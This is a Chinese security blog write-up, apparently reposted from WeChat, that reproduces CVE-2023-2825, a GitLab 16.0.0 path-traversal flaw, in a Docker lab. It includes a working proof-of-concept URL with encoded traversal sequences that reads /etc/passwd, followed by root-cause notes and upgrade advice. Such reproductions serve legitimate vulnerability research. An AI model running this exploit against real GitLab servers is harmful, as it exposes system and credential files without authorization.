GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

admin 2024年11月11日22:56:48评论47 views字数 1241阅读4分8秒阅读模式

前言

CVE-2023-2825 漏洞源于路径遍历问题,当一个附件存在于至少五个组内嵌套的公共项目中时,未经认证的攻击者可以在服务器上读取任意文件。利用 CVE-2023-2825 漏洞还可能会暴露包括专有软件代码、用户凭证、令牌、文件和其他私人信息在内的敏感数据。

影响版本

GitLab CE/EE版本:16.0.0

环境搭建

这里直接使用docker搭建16版本的环境;拉去镜像

docker pull gitlab/gitlab-ce:16.0.0-ce.0
GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

启动命令

docker run -itd -p 8443:443 -p 8880:80 -p 222:22 --name gitlab2825   gitlab/gitlab-ce:16.0.0-ce.0
GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

稍等片刻即可

GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

进入容器内部查看密码

GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

使用账号root结合该密码成功登录到gitlab

创建group嵌套项目

创建十五个groupGitLab任意读取文件漏洞简单复现(CVE-2023-2825)创建一个项目GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

从模板添加一个项目

GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

添加项目附件

发起iuss

GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

添加附件为一个图片

GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

访问如下URL可以访问附件

http://192.168.88.104:8880/gro1/gro2/gro3/gro4/gro5/gro6/gro7/gro8/gro9/gro10/gro11/gro12/gro13/gro14/gro15/sectest/uploads/0fd0306fac2cb12ded8d284efeff2a79/qwe.jpg
GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

POC利用

http://192.168.88.104:8880/gro1/gro2/gro3/gro4/gro5/gro6/gro7/gro8/gro9/gro10/gro11/gro12/gro13/gro14/gro15/sectest/uploads/0fd0306fac2cb12ded8d284efeff2a79/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

简单分析

当用户请求的时候是需要经过以下的流程

nginx-->Workhorse-->puma

当nginx处理复杂的URI的时候,只会对URL编码进行部分解码。随后传到Workhorse,转发到puma,由puma去做文件读取。

在服务器查看存储的附件的位置,大概有10层,我们上述创建的group为15层,符合大于这里的10层的要求。

GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

利用条件

存在嵌套group项目;且嵌套的数目大于根目录存储附件的层数,同时需要有issus等

修复建议

目前该漏洞已经修复,受影响用户可升级到以下版本: GitLab CE/EE版本:>= 16.0.1 下载链接:https://about.gitlab.com/update/

原文始发于微信公众号(pentest):GitLab任意读取文件漏洞简单复现(CVE-2023-2825)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日22:56:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GitLab任意读取文件漏洞简单复现(CVE-2023-2825)https://cn-sec.com/archives/1949489.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息